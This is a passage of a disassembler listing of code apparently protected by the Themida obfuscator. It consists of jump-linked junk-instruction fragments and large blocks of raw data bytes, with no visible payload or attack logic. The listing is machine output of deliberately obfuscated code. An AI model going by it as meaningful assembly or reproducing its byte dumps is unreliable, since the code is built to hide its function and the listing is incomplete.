		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_519AEE:				; CODE XREF: Themida_:00521885j
		not	esi
		and	esi, 704A661Ah
		xor	esi, 51F72957h
		add	ebx, esi
		pop	esi
		pop	edi
		add	ebx, 4
		push	0F4Ch
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_518863
; ---------------------------------------------------------------------------
		db 29h,	0F3h, 8Bh
		dd 0C4832434h, 0FF535804h, 5B042474h, 8B24048Fh, 8B662424h
		dd 0A268240Ch, 89000065h, 0E9542414h, 9192h, 9C240401h
		dd 0FF46ABE9h, 81E689FFh, 4C6h,	8239E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_519B52:				; CODE XREF: Themida_:0051281Fj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edi
		push	esi
		jmp	loc_51AF44
; ---------------------------------------------------------------------------


loc_519B6F:				; CODE XREF: Themida_:005131BFj
		pop	ecx
		jmp	loc_5175D9
; ---------------------------------------------------------------------------
		db 0C0h, 0EAh, 4
		dd 0F608B353h, 0F3EB80DBh, 0E1E9DA30h, 8100002Fh, 4EAh
		dd 6312E900h, 48FFFFFh,	24248B24h, 81242489h, 42404h, 34FF0000h
		dd 88C2E924h, 5B500000h, 5EBC158h, 6E4E6843h, 0F6E90000h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_519BBB:				; CODE XREF: Themida_:00512388j
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_51D8B2
; ---------------------------------------------------------------------------


loc_519BC3:				; CODE XREF: Themida_:0051510Fj
		push	4
		pop	ecx
		add	eax, 69860C87h
		add	eax, ecx
		sub	eax, 69860C87h
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_51F888
; ---------------------------------------------------------------------------


loc_519BE1:				; CODE XREF: Themida_:00521F86j
		shr	edx, 1
		jmp	loc_523A35
; ---------------------------------------------------------------------------
		dd 195EBE56h, 0B12D79DFh, 296C975Fh, 5FB105F0h,	348B6C97h
		dd 4C48124h, 81000000h,	4ECh, 6075E900h, 0EA81FFFFh, 5EA91365h
		dd 85CEE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_519C1A:				; CODE XREF: Themida_:0051BD2Cj
		sub	ecx, ebx
		pop	ebx
		add	ecx, 7FB55DF1h
		add	ecx, ebp
		sub	ecx, 7FB55DF1h
		add	ecx, 554D2222h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_520F79
; ---------------------------------------------------------------------------
		dd 14E9CF01h, 1FFFF48h,	0C8E95AD5h, 83000088h, 685504C4h
		dd 0FB4h, 68243C89h, 4,	2C8B575Fh, 4C48324h, 33DDE9h, 30F1B300h
		dd 0EB8059CBh, 0D888500Dh, 0FFA189E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_519C79:				; CODE XREF: Themida_:0051C743j
		add	byte ptr [esp],	14h
		sub	[esp], ch
		jmp	loc_5155BA
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 1058669Dh, 0E99C2404h, 0FFFF455Ch, 4240483h,	8324148Bh
		dd 0C28104C4h, 4, 0E904EC83h, 0FFFFA76Dh, 15C38158h, 0E95B0D45h
		dd 0FFFF8BE8h
; ---------------------------------------------------------------------------


loc_519CB8:				; CODE XREF: Themida_:0052168Bj
		push	edi
		mov	edi, esp
		jmp	loc_510C96
; ---------------------------------------------------------------------------
		dd 1DCAC381h, 0C3016421h, 1DCAEB81h, 0EB816421h, 0DE7544Ch
		dd 1328E956h, 54F60000h, 515A0124h, 5366FAB1h, 0D93045B3h
		dd 4E47E9h, 4C78100h, 81000000h, 4C7h, 243C8700h, 0E924248Bh
		dd 0FFFFF5FAh, 5704C483h, 0BD55E789h, 64916777h, 4EC81h
		dd 2C890000h, 2414F724h, 96C4E9h, 66556600h, 666D15BDh
		dd 6246C01h, 242C8B66h,	6602C483h, 6C81665Eh, 75090224h
		dd 246C0166h, 44816602h, 75090224h, 0EC815266h,	4, 66241C89h
		dd 0E9301A68h, 71A6h, 1EB4BF57h, 0C18109D8h, 155D1536h
		dd 0E9E9F929h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_519D6F:				; CODE XREF: Themida_:0051DB01j
		add	eax, ebx
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		or	eax, eax
		jz	loc_513C87
		push	dword ptr [edi+1Ch]
		jmp	loc_51FDD8
; ---------------------------------------------------------------------------
		dd 0E9FA015Dh, 0FFFFABBBh
; ---------------------------------------------------------------------------


loc_519D94:				; CODE XREF: Themida_:00510371j
		push	dword ptr [esp]
		jmp	loc_510571
; ---------------------------------------------------------------------------
		dd 4C481h, 81590000h, 4C1h, 1128E900h, 89510000h, 4C181E1h
		dd 83000000h, 0C8704E9h, 24248B24h, 89241489h, 0C8E957E2h
		dd 89FFFF53h, 942CE9DFh, 0F7800000h, 1DF78072h,	0FFE2CFE9h
		dd 3EED68FFh, 0EC830000h, 241C8904h, 54E9E389h,	50FFFF7Ch
		dd 7E7C6856h, 895E21F5h, 0C5015EF0h, 582434FFh,	4C481h
		dd 0C5810000h, 70A1601Fh, 0ED81CD29h, 70A1601Fh, 0FFC982E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_519E19:				; CODE XREF: Themida_:00518A8Aj
		add	ebx, 4
		jmp	loc_5195C5
; ---------------------------------------------------------------------------


loc_519E21:				; CODE XREF: Themida_:0051A342j
		inc	eax
		shl	eax, 4
		push	edi
		mov	edi, 0B94F08h
		xor	eax, edi
		pop	edi
		jmp	loc_51BA58
; ---------------------------------------------------------------------------


loc_519E33:				; CODE XREF: Themida_:00514793j
		push	ecx
		mov	ecx, esp
		jmp	loc_512659
; ---------------------------------------------------------------------------


loc_519E3B:				; CODE XREF: Themida_:0052010Ej
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		jmp	loc_518317
; ---------------------------------------------------------------------------
		dw 0D728h
		dd 3E95A66h, 81FFFFCAh,	4A6DA7EAh, 0BF574222h, 3DEE05DDh
		dd 0D4E9FA31h, 5FFFFA8h, 4, 42685655h, 8B1E261Ah, 49E92434h
		dd 54FFFF7Eh, 6768575Bh, 89000018h, 0E7E92434h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_519E87:				; CODE XREF: Themida_:00515895j
		and	eax, esi
		pop	esi
		push	dword ptr [edi+1Ch]
		jmp	loc_51C3D8
; ---------------------------------------------------------------------------


loc_519E92:				; CODE XREF: Themida_:00514E3Bj
		sub	ecx, 123469CCh
		sub	ecx, edi
		add	ecx, 123469CCh
		pop	edi
		sub	ecx, 0DD28E084h
		sub	edi, ecx
		pop	ecx
		add	edi, ecx
		add	edi, 500667D6h
		sub	edi, 408A1ED6h
		jmp	loc_51A1BF
; ---------------------------------------------------------------------------
		db 68h,	84h, 5Bh
		dd 24890000h, 4EC8324h,	68240C89h, 63FFh, 0BB241C89h, 1AD315A6h
		dd 4AE9E9h, 0BD46800h, 34890000h, 2792BE24h, 0BCBB003Dh
		dd 0E9619E6Fh, 2995h, 4EC81h, 4890000h,	66B7B824h, 0C12962F9h
		dd 4FE3E958h, 0E0890000h, 405h,	40500h,	4870000h, 0EC815C24h
		dd 4, 0B9240C89h, 2, 64F2BE56h,	0F20154F5h, 0F0C7E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_519F36:				; CODE XREF: Themida_:0051DF2Dj
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	29226D5Fh
		pop	ebp
		mov	eax, 854A8385h
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	eax
		sub	dword ptr [esp], 1EDE21DFh
		mov	ebx, [esp]
		jmp	loc_5100E8
; ---------------------------------------------------------------------------
		dd 8924248Bh, 8FE92434h, 81FFFFF7h, 302A4AE9h, 0CB015A50h
		dd 0FF4A9AE9h, 4EC81FFh, 89000000h, 5E542434h, 8336E951h
		dd 45AFFFFh, 0FA6866ECh, 14896662h, 0BAE95124h,	66FFFF74h
		dd 0E924048Bh, 648Bh
; ---------------------------------------------------------------------------


loc_519FB0:				; CODE XREF: Themida_:0051AD40j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_515270
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFFC827h, 0FF240C89h, 59042474h, 0E924048Fh, 0FFFF4645h
; ---------------------------------------------------------------------------


loc_519FD8:				; CODE XREF: Themida_:0050ECDCj
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5107DF
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 89520000h, 4C281E2h,	0E9000000h, 5555h
; ---------------------------------------------------------------------------


loc_519FF8:				; CODE XREF: Themida_:0051D4E5j
		push	ebp
		pop	edi
		push	327Bh
		mov	[esp], edi
		jmp	loc_5234B9
; ---------------------------------------------------------------------------
		db 1
		dd 0EF815BD9h, 425F391Ah, 0C781CF01h, 425F391Ah, 2B85059h
		dd 81000000h, 1644BAC7h, 6DBEE91Eh, 248BFFFFh, 4EC8124h
		dd 89000000h, 0A768242Ch, 89000004h, 0BA522434h, 3D026FBBh
		dd 148BD689h, 643FE924h, 0E95EFFFFh, 54Ch
; ---------------------------------------------------------------------------


loc_51A054:				; CODE XREF: Themida_:00517A35j
		mov	[esp], edi
		push	esp
		pop	edi
		push	esi
		push	edi
		mov	edi, 4
		mov	esi, edi
		pop	edi
		sub	edi, 574D39ACh
		add	edi, esi
		add	edi, 574D39ACh
		mov	esi, [esp]
		jmp	loc_523BCC
; ---------------------------------------------------------------------------
		db 0F6h, 0D5h, 80h
		dd 0AAE907F5h, 5EFFFFB5h, 4C0EA81h, 0D3892000h,	0CC6815Ah
		dd 296FDD66h, 12BA52DEh, 0C13B363Eh, 54E904EAh
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51A0A3:				; CODE XREF: Themida_:00510C9Fj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], dx
		push	ecx
		mov	ch, bl
		mov	dh, ch
		jmp	loc_517B76
; ---------------------------------------------------------------------------


loc_51A0B5:				; CODE XREF: Themida_:0051774Cj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2CA675E3h
		jmp	loc_52393B
; ---------------------------------------------------------------------------
		dd 573C77FFh, 163FBEBFh, 247C0100h, 243C8B04h, 4C481h
		dd 34FF0000h, 24048B24h, 55E78957h, 4BDh, 5DEF0100h, 4EC81h
		dd 0A4E90000h, 53FFFFD4h, 4BBh,	76156800h, 14890000h, 0C4B4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51A10E:				; CODE XREF: Themida_:0051F99Fj
		push	edx
		mov	edx, esp
		jmp	loc_517221
; ---------------------------------------------------------------------------


loc_51A116:				; CODE XREF: Themida_:00518005j
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		and	ebp, 21FA4DDCh
		xor	ebp, 21FA4848h
		add	eax, ebp
		jmp	loc_516A5F
; ---------------------------------------------------------------------------
		dw 6853h
		dd 0A2134CCh, 0FFC334E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51A139:				; CODE XREF: Themida_:00521169j
		and	ebp, edi
		jmp	loc_513561
; ---------------------------------------------------------------------------


loc_51A140:				; CODE XREF: Themida_:00522B66j
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, 67A13B97h
		jmp	loc_5124C2
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 9E90000h, 900003Ch, 0BF5759CEh, 19A248CDh, 0F708E7C1h
		dd 0BD554FDFh, 0
		dd 0C7E9FD29h, 87000097h, 248B243Ch, 0F2895224h, 8904EC83h
		dd 0EC832434h, 24148904h, 0FFCFC8E9h, 49C681FFh, 81203A6Ah
		dd 4ECh, 24048900h, 1687BA52h, 0D089479Dh, 0E9C6295Ah
		dd 6FD6h, 0CF89D189h, 0E7E95A59h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51A1BF:				; CODE XREF: Themida_:00519EB8j
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_5212EE
; ---------------------------------------------------------------------------
		dd 6602E7C0h, 663D5468h, 0E9241C89h, 5BD5h
; ---------------------------------------------------------------------------


loc_51A1D8:				; CODE XREF: Themida_:005177DDj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_512CE2
; ---------------------------------------------------------------------------
		db 51h,	9Ch, 0E9h
		dd 0FFFF4008h, 7BFE685Dh, 0C890000h, 2474FF24h,	2434FF04h
		dd 0E92434FFh, 6609h
; ---------------------------------------------------------------------------


loc_51A200:				; CODE XREF: Themida_:0051FAF3j
		pop	esp
		inc	edi
		dec	edi
		push	eax
		mov	eax, 4DE54C6Ah
		xor	edi, eax
		pop	eax
		push	esi
		mov	esi, edi
		mov	ebp, esi
		pop	esi
		pop	edi
		push	ecx
		jmp	loc_50FF5C
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 0E904C483h, 2A7Ah
; ---------------------------------------------------------------------------


loc_51A224:				; CODE XREF: Themida_:00514467j
		mov	eax, [esp]
		add	esp, 4
		push	2431h
		jmp	loc_51FD5E
; ---------------------------------------------------------------------------
		dd 0A1C680h, 0E1805AF1h, 601DE9C6h, 0C8BFFFFh, 3201E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51A24A:				; CODE XREF: Themida_:0051A744j
		push	ebp
		push	18264AD4h
		pop	ebp
		or	ebx, ebp
		pop	ebp
		or	ebx, 53646BDEh
		shr	ebx, 6
		xor	ebx, 2D8EE959h
		mov	edx, ebx
		push	dword ptr [esp]
		jmp	loc_50EAF8
; ---------------------------------------------------------------------------


loc_51A26D:				; CODE XREF: Themida_:0051985Aj
		shr	edi, 2
		or	edi, 1B3011D8h
		and	edi, 47412599h
		not	edi
		sub	edi, 0CA5081C1h
		jmp	loc_510660
; ---------------------------------------------------------------------------
aX1SG		db 'X1+',0
		dd 4BF5700h, 0E9000000h, 0FFFFC87Eh, 0FDABEE81h, 0EE81301Fh
		dd 0F8101C3h, 8102E6C1h, 8090F0F6h, 0C209E924h,	34FFFFFFh
		dd 0DCAAE924h, 405FFFFh, 2D000000h, 4, 2474FF50h, 48F5804h
		dd 4895C24h, 89D08924h,	34FF58C7h, 24148B24h, 5104C483h
		dd 0C181E189h, 4, 4BF57h, 0E9810000h, 523691h, 0C181F901h
		dd 523691h, 240C875Fh, 5FFA015Ch, 31241433h, 14332414h
		dd 0C8845C24h, 3ED6E99Ch, 0F745FFFFh, 0E4C581DDh, 0E978BF8Ah
		dd 0FFFF7768h, 285AD028h, 0E95A04D0h, 0FFFF4912h
; ---------------------------------------------------------------------------


loc_51A334:				; CODE XREF: Themida_:00510F55j
		pop	ecx
		jmp	loc_510580
; ---------------------------------------------------------------------------


loc_51A33A:				; CODE XREF: Themida_:0051D60Dj
		mov	ebx, esp
		push	eax
		mov	eax, 78087B76h
		jmp	loc_519E21
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FF3EA3E9h, 3E1C1FFh, 547DE9h, 0FFBF5700h, 0F76DEB09h
		dd 2EFC1D7h, 8911E9h
		db 0
; ---------------------------------------------------------------------------


loc_51A365:				; CODE XREF: Themida_:005110D2j
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_520ABE
; ---------------------------------------------------------------------------
		dd 4C481h, 3FE90000h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51A37B:				; CODE XREF: Themida_:00519387j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5223A8
; ---------------------------------------------------------------------------
		dd 63AACD81h, 0EC83251Eh, 24048904h, 0FFA844E9h, 241C89FFh
		dd 0BE56E389h, 516805A4h, 67ACCE81h, 0F6815504h, 5A5819FEh
		dd 81B2C681h, 0F301F0CBh, 4BE565Eh, 29000000h, 24348BF3h
		dd 5304C483h, 42474FFh,	0FF87FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51A3D1:				; CODE XREF: Themida_:0051913Dj
		push	dword ptr [esp]
		pop	edi
		jmp	loc_521562
; ---------------------------------------------------------------------------
		dw 0D629h
		dd 62B9515Ah, 14CBB72h,	0C9CCE9CEh, 575CFFFFh, 4892E954h
		dd 0E951FFFFh, 2CF1h, 7A2068h, 24048900h, 405E089h, 0E9000000h
		dd 0FFFFA3CBh, 514EF81h, 0E95636D8h, 0FFFF7D08h
; ---------------------------------------------------------------------------


loc_51A418:				; CODE XREF: Themida_:0051CDB2j
		add	esp, 4
		push	ebx
		mov	ebx, 3FAF0C64h
		push	edx
		mov	edx, 13EB3F3Ah
		xor	ebx, edx
		jmp	loc_516334
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 0E9000000h, 0FFFFFD3Fh, 2434FF5Dh, 4C4835Fh,	559422Dh
		dd 5E82976h, 76055942h,	0FFE4EFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51A455:				; CODE XREF: Themida_:0051EA55j
		mov	esi, 6ABB7800h
		jmp	loc_51CE1A
; ---------------------------------------------------------------------------


loc_51A45F:				; CODE XREF: Themida_:005107E0j
		mov	edx, 2FB906C6h
		add	eax, edx
		jmp	loc_51E419
; ---------------------------------------------------------------------------


loc_51A46B:				; CODE XREF: Themida_:00510F4Aj
		add	ecx, ebp
		pop	ebp
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 6F13279h
		add	ebx, 0FFB521E3h
		jmp	loc_513DD6
; ---------------------------------------------------------------------------
		db 5Bh,	66h, 68h
		dd 89666D28h, 1B42404h,	5866E628h, 5166D6F6h, 4EC81h, 14890000h
		dd 801AB624h, 0CEFE47E6h, 88FDC680h, 0EE285AF5h, 240C8B66h
		dd 2C481h, 0F1280000h, 332E9h, 38BF5700h, 12F782Bh, 0DDF75FFDh
		dd 0B6C5B850h, 8FE98AB9h, 81FFFF67h, 0BBC823EBh, 5BDF8997h
		dd 0E4E9CF29h, 81000016h, 4C7h,	243C8700h, 4C4815Ch, 68000000h
		dd 2A6Eh, 54243C89h, 695DE95Fh,	0C681FFFFh, 4, 0FFF3AAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51A511:				; CODE XREF: Themida_:00522C19j
		add	esi, 4
		jmp	loc_51F814
; ---------------------------------------------------------------------------
		db 0C0h, 0E9h, 7
		dd 801CB353h, 0D92874EBh, 8117E9h, 0E8015800h, 0FF8B2AE9h
		dd 8168ADFFh, 8900004Bh, 0BA52242Ch, 41C07801h,	64E9D589h
		dd 33FFFFD3h, 248B243Ch, 240C8924h, 2CB9h, 0B4C18100h
		dd 109D81Eh, 0F7FAE9F9h, 4545FFFFh, 128AED81h, 0B7E921ADh
		dd 87000009h, 895C243Ch, 4812424h, 424h, 2434FF00h, 68966859h
		dd 3C890000h, 107EE924h, 835F0000h, 0C3304C1h, 240C3124h
		dd 0E9240C33h, 3EA1h, 55EF289h,	7D104A82h, 0BD55D029h
		dd 5654773Bh, 4FDCCD81h, 0EDC16F22h, 0B4BE5608h, 979D11Eh
		dd 24348BF5h, 4C481h, 0D5F70000h, 0C982C581h, 0BB53F70Fh
		dd 37AD0760h, 35E9D829h, 89FFFF3Dh, 0A1E9241Ch,	9FFFFE8h
		dd 0E94859C8h, 0FFFFAE55h, 55EF531h, 4188788Dh,	0BB53E801h
		dd 16BA13F5h, 4CD6CB81h, 0CB816CD1h, 18F800DEh,	0EB81DBF7h
		dd 3F7C2774h, 5D5BD829h, 11E9E801h, 28FFFF9Ah, 67F2E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51A626:				; CODE XREF: Themida_:00511B0Aj
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------
		db 1
		dd 90E95AD5h, 8BFFFF4Fh, 87E92424h, 87000005h, 335C2404h
		dd 3C31243Ch, 243C3324h, 0D324248Bh, 0E99C243Ch, 0FFFF3B9Ch
		dd 8B2434FFh, 0E950241Ch, 86F1h, 8103E7C1h, 9E6A38C7h
		dd 3A4A6818h, 38E90000h, 5B000071h, 48BC289h, 4C48324h
		dd 0E95AD301h, 4BC0h, 135DBD55h, 0B8503B36h, 3AA76247h
		dd 0FF7C11E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51A695:				; CODE XREF: Themida_:00513D2Bj
		mov	edx, 49BF6B94h
		jmp	loc_523683
; ---------------------------------------------------------------------------
		db 68h
		dd 58B3h, 0BA241489h, 3726044h,	20A6F281h, 4BE97409h, 81FFFF62h
		dd 4C4h, 4C48300h, 630268h, 240C8900h, 0FF6FF6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51A6CD:				; CODE XREF: Themida_:0050F0D9j
		sub	[esp+4], esi
		pop	esi
		jmp	loc_51B546
; ---------------------------------------------------------------------------
		db 81h
		dd 3D0024F7h, 0AEEB816Fh, 81286067h, 0C17F42EBh, 0E9FB0110h
		dd 165Ch
; ---------------------------------------------------------------------------


loc_51A6F0:				; CODE XREF: Themida_:005166F9j
		xchg	eax, [esp]
		jmp	loc_517473
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 8704EA83h, 0E95C2414h, 143Eh
; ---------------------------------------------------------------------------


loc_51A70C:				; CODE XREF: Themida_:0051D202j
		mov	[esp], ebx
		push	80h
		jmp	loc_519150
; ---------------------------------------------------------------------------


loc_51A719:				; CODE XREF: Themida_:00512CCCj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		jmp	loc_5112A1
; ---------------------------------------------------------------------------


loc_51A72F:				; CODE XREF: Themida_:0050E260j
		pop	edi
		sub	ecx, 5A681CE9h
		pop	edx
		neg	ecx
		dec	ecx
		inc	ecx
		sub	ecx, 0DD1978F6h
		push	ecx
		pop	ebx
		pop	ecx
		jmp	loc_51A24A
; ---------------------------------------------------------------------------


loc_51A749:				; CODE XREF: Themida_:00512A28j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_520ADE
; ---------------------------------------------------------------------------
		align 2
		dw 4E8h
aQyH		db 'QY,h',0
aSs6		db 'S6',0
		align 4


loc_51A76C:				; CODE XREF: Themida_:00515B71j
		sub	edi, 76AC4013h
		push	ebx
		mov	ebx, 6F324A5Ch
		jmp	loc_520172
; ---------------------------------------------------------------------------
		db 52h,	53h, 68h
		dd 2205F98h, 8CC3815Bh,	89398EC7h, 0ECAE9DAh, 14F70000h
		dd 534F5F24h, 23DCBD55h, 0E9553301h, 0FFFF4177h
; ---------------------------------------------------------------------------


loc_51A7A4:				; CODE XREF: Themida_:00517D55j
		sub	ebp, 2F23EB20h
		xor	edi, ebp
		pop	ebp
		push	ebp
		push	eax
		jmp	loc_51FF7C
; ---------------------------------------------------------------------------


loc_51A7B4:				; CODE XREF: Themida_:0050F006j
		sub	ebp, 1EE56051h
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 500916D0h
		sub	ecx, 500916CCh
		add	ebp, 4AA04960h
		add	ebp, ecx
		push	eax
		mov	eax, 223E42CAh
		shr	eax, 4
		jmp	loc_51BD77
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0FF503EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51A7ED:				; CODE XREF: Themida_:0050EB02j
		pop	edi
		jmp	loc_50F245
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FF79E7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51A7F9:				; CODE XREF: Themida_:0051992Fj
		add	eax, 205560DFh
		add	eax, 0FED68E3h
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_51F9CB
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 7D051F86h, 0E3F0EB81h, 0DE294BADh, 0FFDEB1E9h, 243C8BFFh
		dd 0E904C483h, 0FFFF3DF9h, 81E28952h, 4C2h, 4EA8300h, 5C241487h
		dd 51240489h, 0C9FE3FB1h, 8813F180h, 76859CCh, 89000033h
		dd 0E951240Ch, 6393h, 0CB895952h, 0E9240C8Bh, 0FFFF434Ah
; ---------------------------------------------------------------------------


loc_51A880:				; CODE XREF: Themida_:0051EDB7j
		add	ebx, 4
		jmp	loc_521EEF
; ---------------------------------------------------------------------------
		db 50h
		dd 6B32F4B8h, 58C58944h, 335CCD81h, 0E9450633h,	89FCh
		dd 8324048Bh, 0DAF604C4h, 8002E2C0h, 3F2C4BC2h,	0FF5D2CE9h
		dd 0BBE66FFh, 89665539h, 0EF8966F5h, 2925E95Dh,	89510000h
		dd 0DAA1E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51A8CE:				; CODE XREF: Themida_:0050E716j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_515558
; ---------------------------------------------------------------------------


loc_51A8DC:				; CODE XREF: Themida_:0050FBA3j
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5222FB
; ---------------------------------------------------------------------------
		dd 4C18159h, 55000000h,	86CB951h, 68BD6196h, 31619608h
		dd 0E90159CDh, 240C875Dh, 2434FF5Ch, 8124148Bh,	4C4h, 631B6800h
		dd 0CAE90000h, 0ADFFFFC4h, 0EC81D831h, 4, 57241489h, 0FF81A8E9h
		dd 0EEC159FFh, 81DEF705h, 6F7AE7F6h, 0C6C68125h, 0E95A8EE2h
		dd 0FFFFF1D1h, 0D3A1C381h, 0EA81244Bh, 52543102h, 29A5E9h
		dd 4ED8100h, 0E9000000h, 0FFFF9167h
; ---------------------------------------------------------------------------


loc_51A960:				; CODE XREF: Themida_:00512356j
		push	ecx
		mov	cl, 0A0h
		add	dl, cl
		jmp	loc_51F39C
; ---------------------------------------------------------------------------


loc_51A96A:				; CODE XREF: Themida_:0051263Cj
		pop	small word ptr [edi+eax*4]
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------


loc_51A973:				; CODE XREF: Themida_:00523536j
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_51E4EF
; ---------------------------------------------------------------------------


loc_51A984:				; CODE XREF: Themida_:0051FB57j
		add	eax, 63077C21h
		add	eax, ecx
		sub	eax, 63077C21h
		mov	ecx, [esp]
		add	esp, 4
		push	3046h
		mov	[esp], esi
		mov	esi, 19727CA4h
		dec	esi
		shl	esi, 8
		add	esi, 8D835D04h
		add	eax, 5BFB2BA6h
		sub	eax, esi
		jmp	loc_51B737
; ---------------------------------------------------------------------------
		dd 0E9240431h, 0FFFFCE59h
; ---------------------------------------------------------------------------


loc_51A9C4:				; CODE XREF: Themida_:005115E6j
		mov	[esp], ax
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 0FFh
		dd 0E209C781h, 0FA01F749h, 53C2015Fh, 3D2EE4BBh, 0BA524B23h
		dd 0BFA5B6Ch, 0C104E2C1h, 0EAC108EAh, 11CA8106h, 817B601Ah
		dd 0AD9CDEEAh, 5AD33136h, 5107EBC1h, 5585450h, 4, 42Dh
		dd 24048700h, 243C895Ch, 2F1AF4BFh, 0ABC78119h,	89FCD9F4h
		dd 0D9F75FF9h, 59CAE181h, 0F74960D7h, 0CBC981D1h, 0E926D75Dh
		dd 0FFFF6E45h, 2404875Dh, 8324248Bh, 1C8904ECh,	6DBCBB24h
		dd 0BA526B7Eh, 6B7E6DB8h, 5FE9D331h, 30000033h,	0F92859EFh
		dd 0FFFD80E9h, 240481FFh, 4, 0FF7C36E9h, 45E95AFFh, 41FFFFC8h
		dd 19AE9h, 4C48100h, 58000000h,	0BD555055h, 3933000Ah
		dd 471ED81h, 0E581570Eh, 0CBD223Ch, 2F41BF57h, 34E92B69h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51AAA3:				; CODE XREF: Themida_:0050EE43j
		mov	ecx, edi
		pop	edi
		dec	ecx
		jmp	loc_518E9B
; ---------------------------------------------------------------------------
		dd 8704E883h, 0E95C2404h, 79E1h
; ---------------------------------------------------------------------------


loc_51AAB8:				; CODE XREF: Themida_:0050F97Cj
		xor	ebp, 7E327C04h
		add	ebp, 1F255ACCh
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ecx, eax
		push	ebx
		jmp	loc_510BDB
; ---------------------------------------------------------------------------
		db 89h
		dd 24148BD6h, 104C483h,	0EC815EF0h, 4, 6EC2E9h,	8BC58900h
		dd 0C4812404h, 4, 0FFDA45E9h, 5BD829FFh, 5253BD55h, 0E80125DDh
		dd 4551E9h, 0C8B6600h, 38286824h, 2C890000h, 0EBDFE924h
		dd 3C33FFFFh, 49F7E924h, 8B5DFFFFh
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_512812
; ---------------------------------------------------------------------------


loc_51AB38:				; CODE XREF: Themida_:005236D7j
		pop	esp
		jmp	loc_51B638
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0AA68240Ch, 8900004Eh, 68682404h, 6800007Ch,	273Ch
		dd 51242489h, 0C0E9h, 50C30000h, 405E089h, 83000000h, 48702E8h
		dd 0AA8DE924h, 555EFFFFh, 8904EC83h, 5DE92424h,	0E9000019h
		dd 0FFFF366Ch, 4EC81h, 23E90000h
